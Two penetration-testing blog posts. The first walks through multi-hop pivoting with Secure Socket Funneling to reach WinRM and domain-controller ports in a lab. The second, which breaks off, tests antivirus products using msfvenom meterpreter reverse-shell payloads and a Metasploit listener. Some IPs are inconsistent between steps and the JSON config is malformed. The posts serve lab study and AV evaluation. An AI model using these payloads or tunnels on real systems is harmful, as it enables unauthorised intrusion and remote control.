Multi-Host and OS Pivoting Using Secure Socket Funneling

During some recent self-study, I encountered a scenario where I wanted to use WinRM on a machine and couldn't from Kali due to the limitations of Powershell Core. The target machine was also two pivots deep, so I needed a way to move through those networks to connect to WinRM.

My VPN was running on Kali, and while I could disconnect it and switch to a Windows machine, I still wanted tools on Kali to be available.

Secure Socket Funneling (SSF) to the rescue.

But first, an example of what the environment looks like.

Network Layout

This a sample of what the network looks like. Hopefully it's not too difficult to follow.

• Windows Machine
  • VM Network 192.168.11.3
• Kali Machine
  • VM Network 192.168.11.4
  • VPN Network 10.0.1.14
• Target Environment Host A - Linux
  • External IP 10.0.0.100
  • Internal IP 172.16.1.100
• Target Environment Host B - Windows - this machine is running OpenSSH.
  • Internal IP 172.16.1.5
• Target Host C
  • Internal IP 172.16.2.20
• Kali can connect to Host A only.
• Host A can connect Host B only.
• Host A is firewalled and can't listen on on any extra ports on 10.0.0.100

Setting up the SSF Daemons

SSF binaries: https://securesocketfunneling.github.io/ssf/#download

Host B

We need to get SSF onto the machine, so grab the Windows binaries from the SSF website. We can these over using SCP.

To do this, we need to jump via Host A. Assuming we have some way of unzipping on the Windows machine, perform the following:

scp -J root@10.0.0.100 ./ssf-windows.zip user@172.16.1.5:

If we don't have an easy way to unzip the file, you can recursively the directory over using the following:

scp -r -J root@10.0.0.100 ./ssf-windows/extracted/ user@172.16.1.5:

If the host weren't running OpenSSH, you would need to use another method such as WinRM using this same process.

Once complete, we can now ssh in and set up the daemon by doing the following:

ssh -J root@10.0.0.100 user@172.16.1.5

Then followed by kicking off the ssfd daemon to listen on port 63000:

Expand-Archive ssf-windows.zip
cd .\extracted
.\ssfd -p 63000

Host A

For Host A, grab the Linux binaries and them over. This process is the same as Host B but without the jump host '-J' option.

In this scenario, due to the firewall, we only listen on localhost.

scp ./ssf-windows.zip root@10.0.0.100
ssh root@10.0.0.100
./ssfd -p 63000 -l 127.0.0.1

Kali Machine

Since we need to get the traffic through to Host A, we'll use ssh local port forwarding to get around the firewall issue.

The below command sets up ssh to listen on 1111 and forward it to 63000 on Host A:

ssh -L 1111:127.0.0.1:63000 root@10.0.0.100

Now we set up ssfd on our Kali host. Unzip SSF on Kali and from within the extracted folder run:

./ssfd -p 63000

If you have an SSH server running on your Kali host, you could use SSH forwarding from Windows, but I think that's a bit messier.

Windows Machine

SSF supports routing via several intermediate hosts. To do this, we configure the below JSON config file:

{
  "ssf": {
    "circuit": [
      {"host": "192.168.11.4", "port":"63000"},
      {"host": "127.0.0.1", "port":"1111"}
    ]

    }
  }
}

This config does the following

1. Connects to Kali
2. Connect to Host A via localhost on Kali (the SSH local port forward)

Info on configuring the relay hosts can be found at https://securesocketfunneling.github.io/ssf/#how-to-use-relay-servers

Host B is the last hop, so we don't need it in the config. To connect, we run the following:

.\ssf.exe -c config.json -D 9000 -p 63000 172.16.1.5

We now have dynamic port forwarding on the Windows machine listening on port 9000, which is essentially a socks proxy. Dynamic port forwarding isn't necessarily what we want as we need WinRM. With SSF, you can perform both TCP and UDP forwarding.

We can set up SSF to forward to the WinRM HTTP port on 5985:

.\ssf.exe -c .\c.json -L 6666:172.16.2.5:5985 172.16.1.20 -p 63000

And now we can finally connect to WinRM:

$s = New-PSSession -Port 6666 -ComputerName 127.0.0.1 -Credential 'username'
Enter-PSSession $s

Local UDP/TCP Forwarding Example and Notes

I don't think it's evident in the SSF docs, but you can perform multiple forwards much like SSH, and you can forward both UDP and TCP for the same port.

Here's an example of forwarding some Domain Controller ports to a Windows host on Kali a lot of the UDP ports aren't requried but I assembled this with regex and it was easier.

./ssf  -L 445:172.16.2.5:445 -U 445:172.16.2.5:445 -L 636:172.16.2.5:636 -U 636:172.16.2.5:636 -L 389:172.16.2.5:389 -U 389:172.16.2.5:389 -L 464:172.16.2.5:464 -U 464:172.16.2.5:464 -L 139:172.16.2.5:139 -U 139:172.16.2.5:139 -L 135:172.16.2.5:135 -U 135:172.16.2.5:135 -L 593:172.16.2.5:593 -U 593:172.16.2.5:593 -L 3268:172.16.2.5:3268 -U 3268:172.16.2.5:3268 -L 3269:172.16.2.5:3269 -U 3269:172.16.2.5:3269 -L 88:172.16.2.5:88 -U 88:172.16.2.5:88 -L 137:172.16.2.5:137 -U 138:172.16.2.5:138  -p 63000 172.16.1.20

With the above, you could run enum4linux or crackmapexec against 127.0.0.1. Note that you may need to also provide a DC IP for some commands that talk to Kerberos. Check your command's options and if this is required, set it to 127.0.0.1 in addition.

And that's it.

The SSF docs are available at https://securesocketfunneling.github.io/ssf/#home

Depending on the environment, a lot of this can be achieved using SSH forwarding.

Testing AVs With Simple Vectors

Having had the need to run some tests against prospective AV vendors, I have performed some simple tests using Metasploit payloads and Mimikatz. In this post, I will go over the techniques used and how to employ them.

To kick off I generated a basic executable meterpreter with simple encoding and no encryption.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.1.1.2 LPORT=4444 -o meterpreter.exe -f exe --encoder x64/xor_dynamic --platform windows --arch x64 

The options used are:

• -p the payload to use.
  LHOST & LPORT – these are the Metasploit options which are set in msf using “set OPTION value”. In this case, the attacking host and attacking port because all payloads used are reverse TCP payloads (the victim host connecting back to the attacking machine as opposed to the attacking machine connecting to the victim).

• -o the output file.

• -f the format to use. Use raw when generating script payloads (or the language name e.g. python) to get the native code. There are options to transform payloads but I will not be covering this.

• -p the target platform. Generally not needed for scripting languages like Python.

• –arch the target platform architecture. Generally not needed for scripting languages like Python.

Within Metasploit, I kicked off the listener. This will be common to all generated payloads so I will not be repeating it. Just note that the payload and port will need to change depending on what is generated with msfvenom.

use multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 0.0.0.0
SET LPORT 4444

As expected this was detected without issue, no surprise there.

I generated a few more payloads using various languages. A lot of these can be shimmed into the environment without requiring an install making them viable vectors.

Java – detected – Requires JVM or JSK. Execute with java – jar file.jar

msfvenom -f raw -p payload/java/meterpreter/reverse_tcp  LHOST=10.1.1.2 LPORT=4443 -o payload.jar